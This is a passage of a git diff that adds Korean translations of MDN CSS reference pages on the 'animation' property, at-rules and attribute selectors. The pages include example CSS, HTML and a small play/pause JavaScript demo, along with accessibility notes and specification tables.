+    {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 44.0 {{geckoRelease("44.0")}} 은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.</p>
+
+<h2 id="같이_보기(See_also)">같이 보기(See also)</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation/index.html b/files/ko/web/css/animation/index.html
new file mode 100644
index 0000000000..0ae99bb71b
--- /dev/null
+++ b/files/ko/web/css/animation/index.html
@@ -0,0 +1,349 @@
+---
+title: animation
+slug: Web/CSS/animation
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/animation
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>animation</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a><strong> </strong>속성은 다수의 스타일을 전환하는 애니메이션을 적용합니다. {{cssxref("animation-name")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-timing-function")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-play-state")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation.html")}}</div>
+
+
+
+<pre class="brush:css no-line-numbers">/* @keyframes duration | timing-function | delay |
+iteration-count | direction | fill-mode | play-state | name */
+animation: 3s ease-in 1s 2 reverse both paused slidein;
+
+/* @keyframes duration | timing-function | delay | name */
+animation: 3s linear 1s slidein;
+
+/* @keyframes duration | name */
+animation: 3s slidein;
+</pre>
+
+<div class="hidden" id="animation">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;
+      Given the following animation:
+      &lt;pre&gt;@keyframes slidein {
+  from { transform: scaleX(0); }
+  to   { transform: scaleX(1); }
+}&lt;/pre&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="play" title="PLAY"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s ease-in 1s 2 reverse both paused slidein;&lt;/div&gt;
+        &lt;div class="animation a1"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="pause" title="PAUSE"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s linear 1s slidein;&lt;/div&gt;
+        &lt;div class="animation a2"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="pause" title="PAUSE"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s slidein;&lt;/div&gt;
+        &lt;div class="animation a3"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+}
+
+pre { margin-bottom: 0; }
+svg { width: 1.5em; height: 1.5em; }
+
+button {
+  width: 27px;
+  height: 27px;
+  background-size: 16px;
+  background-position: center;
+  background-repeat: no-repeat;
+  border-radius: 3px;
+  cursor: pointer;
+}
+
+button.play {
+  background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#play');
+}
+
+button.pause {
+  background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#pause');
+}
+
+button.restart {
+  background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#restart');
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  background: #EEE;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  justify-content: space-between;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  box-sizing: border-box;
+  margin: .5em;
+  padding: 0;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: left;
+}
+
+.flx {
+  flex: 1 0;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em;
+  font: .8em sans-serif;
+  text-align: left;
+  flex: none;
+}
+
+.overlay { padding: .5em; }
+
+@keyframes slidein {
+  from { transform: scaleX(0); }
+  to { transform: scaleX(1); }
+}
+
+.a1 { animation: 3s ease-in 1s 2 reverse both paused slidein; }
+.a2 { animation: 3s linear 1s slidein; }
+.a3 { animation: 3s slidein; }
+
+.animation {
+  background: #3F87A6;
+  width: 100%;
+  height: calc(100% - 1.5em);
+  transform-origin: left center;
+}</pre>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  var ANIMATION = Array.from(document.querySelectorAll('.animation'));
+  var BUTTON    = Array.from(document.querySelectorAll('button'));
+
+  function toggleButton (btn, type) {
+    btn.classList.remove('play', 'pause', 'restart');
+    btn.classList.add(type);
+    btn.title = type.toUpperCase(type);
+  }
+
+  function playPause (i) {
+    var btn  = BUTTON[i];
+    var anim = ANIMATION[i];
+
+    if (btn.classList.contains('play')) {
+      anim.style.animationPlayState = 'running';
+      toggleButton(btn, 'pause');
+    } else if (btn.classList.contains('pause')) {
+      anim.style.animationPlayState = 'paused';
+      toggleButton(btn, 'play');
+    } else {
+      anim.classList.remove('a' + (i + 1));
+      setTimeout(function () {
+        toggleButton(btn, i === 0 ? 'play' : 'pause');
+        anim.style.animationPlayState = '';
+        anim.classList.add('a' + (i + 1));
+      }, 100)
+    }
+  }
+
+  ANIMATION.forEach(function (node, index) {
+    node.addEventListener('animationstart', function () { toggleButton(BUTTON[index], 'pause');   });
+    node.addEventListener('animationend',   function () { toggleButton(BUTTON[index], 'restart'); });
+  });
+
+  BUTTON.forEach(function (btn, index) {
+    btn.addEventListener('click', function () { playPause(index); });
+  });
+})</pre>
+</div>
+
+<p>{{EmbedLiveSample("animation", "100%", 260, "", "", "example-outcome-frame")}}</p>
+
+<p><a href="/ko/docs/Web/CSS/CSS_animated_properties">애니메이션 가능한 속성</a>을 확인해보세요. <a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">CSS 트랜지션</a>에도 적용된다는 점을 참고하세요.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<p>The <code>animation</code> property is specified as one or more single animations, separated by commas.</p>
+
+<p>Each individual animation is specified as:</p>
+
+<ul>
+ <li>zero or one occurrences of the following values:
+  <ul>
+   <li>{{cssxref("&lt;single-transition-timing-function&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-iteration-count&gt;", "#&lt;single-animation-iteration-count&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-direction&gt;", "#&lt;single-animation-direction&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-fill-mode&gt;", "#&lt;single-animation-fill-mode&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-play-state&gt;", "#&lt;single-animation-play-state&gt;")}}</li>
+  </ul>
+ </li>
+ <li>an optional name for the animation, which may be <code>none</code>, a {{cssxref("&lt;custom-ident&gt;")}}, or a {{cssxref("&lt;string&gt;")}}</li>
+ <li>zero, one, or two {{cssxref("&lt;time&gt;")}} values</li>
+</ul>
+
+<p>The order of values within each animation definition is important: the first value that can be parsed as a {{cssxref("&lt;time&gt;")}} is assigned to the {{cssxref("animation-duration")}}, and the second one is assigned to {{cssxref("animation-delay")}}.</p>
+
+<p>The order within each animation definition is also important for distinguishing {{cssxref("animation-name")}} values from other keywords. When parsed, keywords that are valid for properties other than {{cssxref("animation-name")}}, and whose values were not found earlier in the shorthand, must be accepted for those properties rather than for {{cssxref("animation-name")}}. Furthermore, when serialized, default values of other properties must be output in at least the cases necessary to distinguish an {{cssxref("animation-name")}} that could be a value of another property, and may be output in additional cases.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code><a id="&lt;single-animation-iteration-count>" name="&lt;single-animation-iteration-count>">&lt;single-animation-iteration-count&gt;</a></code></dt>
+ <dd>The number of times the animation is played. The value must be one of those available in {{cssxref("animation-iteration-count")}}.</dd>
+ <dt><a id="&lt;single-animation-direction>" name="&lt;single-animation-direction>"><code>&lt;single-animation-direction&gt;</code></a></dt>
+ <dd>The direction in which the animation is played. The value must be one of those available in {{cssxref("animation-direction")}}.</dd>
+ <dt><a id="&lt;single-animation-fill-mode>" name="&lt;single-animation-fill-mode>"><code>&lt;single-animation-fill-mode&gt;</code></a></dt>
+ <dd>Determines how styles should be applied to the animation's target before and after its execution. The value must be one of those available in {{cssxref("animation-fill-mode")}}.</dd>
+ <dt><code><a id="&lt;single-animation-play-state>" name="&lt;single-animation-play-state>">&lt;single-animation-play-state&gt;</a></code></dt>
+ <dd>Determines whether the animation is playing or not. The value must be one of those available in {{cssxref("animation-play-state")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Cylon_Eye">Cylon Eye</h3>
+
+<pre class="brush: html">&lt;div class="view_port"&gt;
+  &lt;div class="polling_message"&gt;
+    Listening for dispatches
+  &lt;/div&gt;
+  &lt;div class="cylon_eye"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.polling_message {
+  color: white;
+  float: left;
+  margin-right: 2%;
+}
+
+.view_port {
+  background-color: black;
+  height: 25px;
+  width: 100%;
+  overflow: hidden;
+}
+
+.cylon_eye {
+  background-color: red;
+  background-image: linear-gradient(to right,
+      rgba(0, 0, 0, .9) 25%,
+      rgba(0, 0, 0, .1) 50%,
+      rgba(0, 0, 0, .9) 75%);
+  color: white;
+  height: 100%;
+  width: 20%;
+
+  -webkit-animation: 4s linear 0s infinite alternate move_eye;
+          animation: 4s linear 0s infinite alternate move_eye;
+}
+
+@-webkit-keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; }  }
+        @keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; }  }
+</pre>
+
+<p>{{EmbedLiveSample('Cylon_Eye')}}</p>
+
+<p>See <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Examples">Using CSS animations</a> for additional examples.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity.</p>
+
+<p>Consider providing a mechanism for pausing or disabling animation, as well as using the <a href="/en-US/docs/Web/CSS/@media/prefers-reduced-motion">Reduced Motion Media Query</a> to create a complimentary experience for users who have expressed a preference for no animated experiences.</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation', 'animation')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.animation")}}</p>
+
+<h3 id="Quantum_CSS_notes">Quantum CSS notes</h3>
+
+<ul>
+ <li>Gecko has a bug whereby when you animate an offscreen element onscreen but specify a delay, Gecko does not repaint on some platforms, e.g. Windows ({{bug(1383239)}}). This has been fixed in Firefox's new parallel CSS engine (also known as <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> or <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, planned for release in Firefox 57).</li>
+ <li>Another Gecko bug means that {{htmlelement("details")}} elements can't be made open by default using the <code>open</code> attribute if they have an animation active on them ({{bug(1382124)}}). Quantum CSS fixes this.</li>
+ <li>A further bug means that animations using em units are not affected by changes to the {{cssxref("font-size")}} on the animated element's parent, whereas they should be ({{bug(1254424)}}). Quantum CSS fixes this.</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/at-rule/index.html b/files/ko/web/css/at-rule/index.html
new file mode 100644
index 0000000000..2991e685b0
--- /dev/null
+++ b/files/ko/web/css/at-rule/index.html
@@ -0,0 +1,76 @@
+---
+title: '@-규칙'
+slug: Web/CSS/At-rule
+tags:
+  - At-rule
+  - CSS
+  - CSS Reference
+translation_of: Web/CSS/At-rule
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong>@-규칙</strong>은 식별자(identifier)가 뒤따르는 at 기호('<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>))로 시작하는 <a href="/ko/docs/Web/CSS/Syntax#CSS_statements" title="CSS statement">CSS 문</a>이며 다음 세미콜론('<code>;</code>' (<code>U+003B SEMICOLON</code>)) 또는 다음 <a href="/ko/docs/Web/CSS/Syntax#CSS_declarations_blocks">CSS 블록</a> 중 먼저 오는 쪽까지 모든 것을 포함합니다.</span></p>
+
+<pre class="brush: css">/* General structure */
+@IDENTIFIER (RULE);
+
+/* Example: tells browser to use UTF-8 character set */
+@charset "utf-8";</pre>
+
+<p>다음과 같이 식별자가 지정된 각각 다른 구문인 여러 at-규칙이 있습니다:</p>
+
+<ul>
+ <li>{{cssxref("@charset")}} — 스타일 시트에 의해 사용되는 문자 집합을 정의함.</li>
+ <li>{{cssxref("@import")}} — CSS 엔진에게 외부 스타일 시트를 포함하도록 알림.</li>
+ <li>{{cssxref("@namespace")}} — CSS 엔진에게 모든 콘텐츠가 XML 네임스페이스로 시작하(prefix가 붙)는 것이 고려되어야 함을 알림.</li>
+ <li><strong><em>중첩 @-규칙</em></strong> — 중첩 문의 부분 집합으로, 조건부 그룹 규칙 속뿐만 아니라 스타일 시트의 문으로 사용될 수 있습니다:
+  <ul>
+   <li>{{cssxref("@media")}} — 장치가 미디어 질의(<em>media query</em>)를 사용하여 정의된 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.</li>
+   <li>{{cssxref("@supports")}} — 브라우저가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.</li>
+   <li>{{cssxref("@document")}} {{experimental_inline}} — 스타일 시트가 적용되는 문서가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙. <em>(CSS Spec 레벨 4로 연기됨)</em></li>
+   <li>{{cssxref("@page")}} — 문서를 출력할 때 적용되는 레이아웃 변화의 양상(aspect)을 설명.</li>
+   <li>{{cssxref("@font-face")}} — 다운로드되는 외부 글꼴의 양상을 설명.</li>
+   <li>{{cssxref("@keyframes")}} — CSS 애니메이션 sequence 내 중간 단계의 양상을 설명.</li>
+   <li>{{cssxref("@viewport")}} {{experimental_inline}} — 작은 화면 장치를 위한 viewport의 양상을 설명. <em>(현재 Working Draft 단계임)</em></li>
+   <li>{{cssxref("@counter-style")}} — 미리 정의된 스타일 집합의 일부가 아닌 특정 카운터 스타일을 정의. <em>(Candidate Recommendation 단계이지만, 작성 중인 현재 Gecko에서만 구현됨)</em></li>
+   <li>{{cssxref("@font-feature-values")}} (<code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> 및 <code>@character-variant</code>와 함께)<br>
+    — OpenType에서 다르게 활성화된 기능에 대해 {{cssxref("font-variant-alternates")}}에서 일반 이름을 정의. <em>(Candidate Recommendation 단계이지만, 작성 중인 현재 Gekko에서만 구현됨)</em></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="조건부_그룹_규칙">조건부 그룹 규칙</h2>
+
+<p>속성값과 마찬가지로, 각각의 @-규칙은 다른 구문이 있습니다. 그럼에도 불구하고, 그 중 몇몇은 조건부 그룹 규칙(<strong>conditional group rules</strong>)으로 불리는 특별한 범주로 분류될 수 있습니다. 이들 문은 공통 구문을 공유하고 그 각각은 <em>중첩 문</em>(<em>규칙 집합(ruleset)</em> 또는 <em>중첩 @-규칙</em> 중 하나)을 포함할 수 있습니다. 게다가, 그들은 모두 일반 semantic 의미를 전달합니다. 그들은 모두 어떤 유형의 조건을 링크합니다, 언제라도 <strong>참</strong> 또는 <strong>거짓</strong> 중 하나로 평가하는. 조건을 <strong>참</strong>으로 평가하면, 그룹 내 모든 문이 적용됩니다.</p>
+
+<p>조건부 그룹 규칙은 <a href="http://dev.w3.org/csswg/css3-conditional/" title="CSS Conditional Rules Module Level 3">CSS 조건부 규칙 모듈 레벨 3</a>에서 정의되고 다음과 같습니다:</p>
+
+<ul>
+ <li>{{cssxref("@media")}},</li>
+ <li>{{cssxref("@supports")}},</li>
+ <li>{{cssxref("@document")}}. <em>(CSS Spec 레벨 4로 연기됨)</em></li>
+</ul>
+
+<p>각 조건부 그룹은 또한 중첩 문을 포함할 수 있기에, 불특정한 양의 중첩이 있을 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>초기 정의</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td><code>@-webkit-keyframes</code> 표준화.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/attribute_selectors/index.html b/files/ko/web/css/attribute_selectors/index.html
new file mode 100644
index 0000000000..4e9cecff26
--- /dev/null
+++ b/files/ko/web/css/attribute_selectors/index.html
@@ -0,0 +1,228 @@
+---
+title: 특성 선택자
+slug: Web/CSS/Attribute_selectors
+tags:
+  - CSS
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Attribute_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>특성 선택자</strong>는 주어진 특성의 존재 여부나 그 값에 따라 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* &lt;a&gt; elements with a title attribute */
+a[title] {
+  color: purple;
+}
+
+/* &lt;a&gt; elements with an href matching "https://example.org" */
+a[href="https://example.org"] {
+  color: green;
+}
+
+/* &lt;a&gt; elements with an href containing "example" */
+a[href*="example"] {
+  font-size: 2em;
+}
+
+/* &lt;a&gt; elements with an href ending ".org" */
+a[href$=".org"] {
+  font-style: italic;
+}
+
+/* &lt;a&gt; elements whose class attribute contains the word "logo" */
+a[class~="logo"] {
+  padding: 2px;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<dl>
+ <dt><code>[<em>attr</em>]</code></dt>
+ <dd><code>attr</code>이라는 이름의 특성을 가진 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 이름의 특성값이 정확히 <code>value</code>인 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 이름의 특성값이 정확히 <code>value</code>인 요소를 선택합니다. <code>attr</code> 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.</dd>
+ <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 그 특성값이 정확히 <code>value</code>이거나 <code>value</code>로 시작하면서 <code>-</code>(U+002D) 문자가 곧바로 뒤에 따라 붙으면 이 요소를 선택합니다. 보통 언어 서브코드(<code>en-US</code>, <code>ko-KR</code> 등)가 일치하는지 확인할 때 사용합니다.</dd>
+ <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 접두사로 <code>value</code>가 값에 포함되어 있으면 이 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 접미사로 <code>value</code>가 값에 포함되어 있으면 이 요소를 선택합니다.</dd>
+ <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt>
+ <dd><code>attr</code>이라는 특성값을 가지고 있으며, 값 안에 <code>value</code>라는 문자열이 적어도 하나 이상 존재한다면 이 요소를 선택합니다.</dd>
+ <dt id="case-insensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> i]</code></dt>
+ <dd>괄호를 닫기 전에 <code>i</code> 혹은 <code>I</code>를 붙여주면 값의 대소문자를 구분하지 않습니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)</dd>
+ <dt><a id="case-sensitive" name="case-sensitive"><code>[attr operator value s]</code></a> {{experimental_inline}}</dt>
+ <dd>괄호를 닫기 전에 <code>s</code> 혹은 <code>S</code>를 붙여주면 값의 대소문자를 구분합니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="링크">링크</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+  color: blue;
+}
+
+/* Internal links, beginning with "#" */
+a[href^="#"] {
+  background-color: gold;
+}
+
+/* Links with "example" anywhere in the URL */
+a[href*="example"] {
+  background-color: silver;
+}
+
+/* Links with "insensitive" anywhere in the URL,
+   regardless of capitalization */
+a[href*="insensitive" i] {
+  color: cyan;
+}
+
+/* Links with "cAsE" anywhere in the URL,
+with matching capitalization */
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Links that end in ".org" */
+a[href$=".org"] {
+  color: red;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#internal"&gt;Internal link&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.com"&gt;Example link&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="#InSensitive"&gt;Insensitive internal link&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.org"&gt;Example org link&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("링크")}}</p>
+
+<h3 id="언어">언어</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* All divs with a `lang` attribute are bold. */
+div[lang] {
+  font-weight: bold;
+}
+
+/* All divs in US English are blue. */
+div[lang~="en-us"] {
+  color: blue;
+}
+
+/* All divs in Portuguese are green. */
+div[lang="pt"] {
+  color: green;
+}
+
+/* All divs in Chinese are red, whether
+   simplified (zh-CN) or traditional (zh-TW). */
+div[lang|="zh"] {
+  color: red;
+}
+
+/* All divs with a Traditional Chinese
+   `data-lang` are purple. */
+/* Note: You could also use hyphenated attributes
+   without double quotes */
+div[data-lang="zh-TW"] {
+  color: purple;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div lang="en-us en-gb en-au en-nz"&gt;Hello World!&lt;/div&gt;
+&lt;div lang="pt"&gt;Olá Mundo!&lt;/div&gt;
+&lt;div lang="zh-CN"&gt;世界您好！&lt;/div&gt;
+&lt;div lang="zh-TW"&gt;世界您好！&lt;/div&gt;
+&lt;div data-lang="zh-TW"&gt;世界您好！&lt;/div&gt;</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("언어")}}</p>
+
+<h3 id="HTML_정렬_목록">HTML 정렬 목록</h3>
+
+<p>{{htmlattrxref("type", "input")}} 특성은 주로 {{htmlelement("input")}} 요소에 사용하므로, HTML 명세는 type의 대소문자를 구분하지 않고 선택하도록 요구하고 있습니다. 그러므로 {{htmlelement("ol")}}의 {{htmlattrxref("type", "ol")}}을 특성 선택자로 선택할 땐 {{anch("case-sensitive", "대소문자 구분")}} 수정자를 지정하지 않으면 동작하지 않습니다.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
